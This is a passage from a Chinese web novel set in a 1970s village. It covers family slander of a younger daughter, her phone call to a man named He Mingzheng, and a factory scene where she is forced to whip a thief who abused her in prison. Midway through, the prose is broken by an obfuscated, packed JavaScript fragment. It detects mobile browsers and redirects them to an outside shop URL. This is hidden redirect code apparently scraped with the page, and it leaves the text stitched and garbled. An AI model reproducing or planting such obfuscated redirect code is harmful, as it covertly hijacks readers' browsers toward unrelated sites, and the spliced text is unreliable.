大刘越想越觉得自己猜测的就是真的,有种解出一道题的快感,高兴一拍大腿,“这事咱俩自己八卦八卦就算乐趣了,别说出去。” “你当我傻啊,当然不能说。” 姜木匠手艺好,每家每户想要做房子都得找他锯木头做木材。得罪他那是疯了,除非你家房子以后不修葺了,或者以后你家不建新房了。 更何况姜大妞的婆家在公社又有地位,姜二丫又在食品站。 她一个在这里没根基的小知青,给她十个胆子她也不敢说出去败坏姜家名声。 “不过我今天得罪姜老三,以后她家废弃的木材不卖给我可怎么办?还有菜园里种菜也需要木屑。”程月梨想想都头疼。 “爸,妈,以后小程知青来我们家买木柴,不卖给她。”姜老三去老屋告状。 “人家怎么得罪你了?” “她和刘知青聚在一起说咱们家坏话,说咱们家虐待四妹。” 姜木匠听闻抽着烟不吭声。 春花叹了口气,看了一眼丈夫,又瞥了一眼三女儿,在等一个人开口,她才好跟上。 三女儿和母亲心意相通,嚷嚷道:“肯定是四妹天天在外面说咱们坏话,要不然他们怎么会这么想。” “是啊,”春花跟上,“说不定是四儿和外面那些人抱怨了什么。这孩子,在家里一声不吭,在外面敞开了说。” “爸,妈,四妹这么干,那些知青们该怎么想咱们啊,一个传十,十个传百......”姜老三意味深长地拖长最后一个字的音调。 成功被激起怒火的姜木匠气得狠狠拍自己脑袋发泄。 好好的一个家,到底为什么乱成这样。 回到家吃晚饭的姜二丫和姜小芯疑惑看向姜木匠。 “嘻嘻~”姜小芯歪着小脑袋在姜木匠面前盯着他看,“爸爸,打脑袋会变笨。” 低着头捶打自己脑袋的姜木匠一眼看到了小女儿的新凉鞋,“谁给买的?” “我给买的。”姜二丫笑着回,有些居功的意思。 “你发了工钱不上交生产队换工分,买什么鞋!”姜木匠吼二女儿, 转头又吼姜小芯,“你是什么地主家大小姐,去年你大姐给你买的凉鞋还在呢,又缠着你二姐买新鞋,干脆把供销社的鞋柜都给搬到家里来。” “你吼什么!”姜二丫抱起受委屈的孩子进屋,‘砰’地一声甩上门。 和老屋只隔了一个菜园的小砖房里,姜四儿听到了家里的争吵和小芯的哭声,想过去看看又不敢。 “没事啊,别怕。”姜二丫在小房间里哄小孩。 姜小芯用手背抹眼泪,嘴里哽咽着说不出话,但还是听话地点点头。 真乖,姜二丫抱着孩子亲了又亲。 这是她带大的孩子,这个家自己最亲的人,谁也不能欺负。 姜老三几分钟后端着饭菜过来给她俩,“快吃。” “爸今天发什么神经?” “被四妹气着了,四妹在外面那群知青里头说咱们姜家坏话,说我们对她不好。” “这种事她也做得出来。”二丫皱眉。 姜家所有人里,就那个四妹没有一点家族观念。从小就搞特殊: 吃饭不愿意上桌要自己单独蹲在院子里吃; 洗衣服不在一个木盆里洗,要单独自己洗; 锄地也不愿意一家人一起帮忙,非得自己单独锄一垄地。 .......... 以小见大,姜二丫很久以前就知道这个四妹和家里其他人都不一样,特殊化。 小芯听不懂大人的话,但听懂了四姐姐又干坏事了。 小孩混着眼泪吃饭,还不忘抬头聊天,“三姐姐,那个可怜死掉的小鸟,你给她埋了吗?” “埋了埋了,要不是给你挖坑埋鸟,我还听不到那些知青议论咱们姜家呢,”姜老三用帕子擦去孩子嘴角的饭粒,“小芯,以后别和你四姐姐玩,她坏。” 姜小芯点点头,大大的取悦了姜老三和姜二丫。 姜二丫和四妹之间没仇,但姜二丫是姜家唯一一个经常在脑海中想象四妹会突然意外死亡的人。 四妹要是死了,孩子就是她姜二丫一个人的。 不过她也只能偶尔发呆时做一做这个美梦。 —————— 月底, 刘师傅去外地,姜四儿没去县里,便在生产队上工。 休息时间,她起身去了大队部办公室。 “老会计,我想打一个电话。” 老会计没吭声。 姜四儿掏出一捧大白兔奶糖,憨厚地笑了笑。 那老会计把糖扫进兜里,离开房间前叮嘱,“中午十二点镇上下通知,我要守着电话,你别用太久。” “好。” 外人一离开,姜四儿左手按住听筒,右手摇动几圈。 等公社邮电所那边接听,姜四儿告诉自己要打到的地方。 然后就是焦灼的等待。 等到脾气好的姜四儿都有些不耐烦了,对面终于接通。 “喂?” “贺明峥,你帮我个忙。”姜四儿声音比往常还要温柔几个度,不自觉地晃着身子撒娇。 对面传来男人温柔的笑声,“嗯,你说。” “你帮我在S市找个人,叫林姗,你可能不认识了,当初你下乡时————” “我认识,”贺明峥打断,“乖乖儿,你找她干什么?” “贺明峥,我觉得我可能没伤人,当年伤人的可能是我大姐。” 姜四儿将当初在劳改农场收到那封信的事情一五一十地和贺明峥说了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17588406|205296||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你是不是有病?”贺明峥骂,“去年就有好心人写信告诉你真相了,你现在才说?” “你才有病!”姜四儿站直了身体,“我去年好不容易才回来,只想好好休息,不想再和那些不好的事沾边。” “你脑子有病,分不清轻重缓急吗?” “你才有病!” “你有病!” “你才有病!” “等着!”贺明峥直接挂断了电话。 姜四儿深深吸气,把委屈和气愤强压了下去。 到了回县里学车那天,姜四儿心情平静下来后又开始想念贺明峥,后悔那天没和贺明峥多说几句话。 大清早的农机一厂已经陆陆续续来了工人。 姜四儿进大门的时候没看到保卫科的人,走到一个车间门外,就看树上吊着一个人,保卫科的人都围在这,旁边还有很多看热闹的工人。 树上吊着的是一个女人。 看清那个女人脸的瞬间,姜四儿额头后背冷汗直冒,不自觉地心脏发紧开始疼。 “姜同志,姜同志?”意识到她情况不对劲的几个工人过来要给她掐人中放指尖血。 姜四儿低着头想跑,又被众人围住跑不掉。 那个吊在荡秋千的女人也看到了姜四儿,嚣张地和姜四儿问好。 刘师傅脸色不太好,问姜四儿,“你认识那个女小偷?” 姜四儿尴尬又无地自容,说不出话。 “好家伙,原来这俩人认识,”宁温拱火道,“一个坐过牢,一个来我们厂偷零件,真是臭味相投。” “闭嘴。”刘师傅越来越不满宁温这个上不得台面的徒弟,家丑不外扬的道理都不懂。 刘师傅单独找姜四儿谈话,问她和那小偷怎么认识的。 “你要是不说,以后也别待在这里了,你待不住。” 姜四儿忍着羞耻回:“她在牢里欺负过我。” 刘师傅恍然大悟,原来是这样的过往。 “师父,师父,”有个徒弟跑来,既有着听到八卦的兴奋,又有着残留的人性,不忍道,“师父,你快去外面,那小偷在叫嚣,骂.....骂姜同志。” “姓姜的,你是混上工人了吗?家里是不是有路子?”小偷叫嚷,“你忘了当初我在你头上撒尿的事了?和你们厂里干部说,快把我放了,要不然我就把当初你在牢里受辱的那些事都说出去了。” “在头上撒尿?”宁温哈哈笑了出来,看姜四儿以后还怎么做人。他从地上捡石子儿往小偷身上扔,“快说,还有别的什么事。” “那可就多了,当初我们把馒头——唔——”小偷嘴被一个碎砖块给塞住,塞得满满的吐不出来。 塞完碎砖块的刘师傅抽出自己的皮带给姜四儿,“给我打她。” 姜四儿:“.........” “打!你不抽她我今天就抽死你,”刘师傅招手让另一个徒弟拿椅子来,他坐在椅子上观看,“打,打坏了我给你担着。” 本来就是个被当场抓获的小偷,厂里就算打死了也正常。 被逼着赶鸭子上架的姜四儿又怎么可能不恨,过往在牢里和劳改农场被欺负的种种她有意遗忘不想记起,但这人偏要往自己跟前凑,还掀自己老底。 一开始还只是轻轻一抽,后来越想越怨,姜四儿也下手越来越重。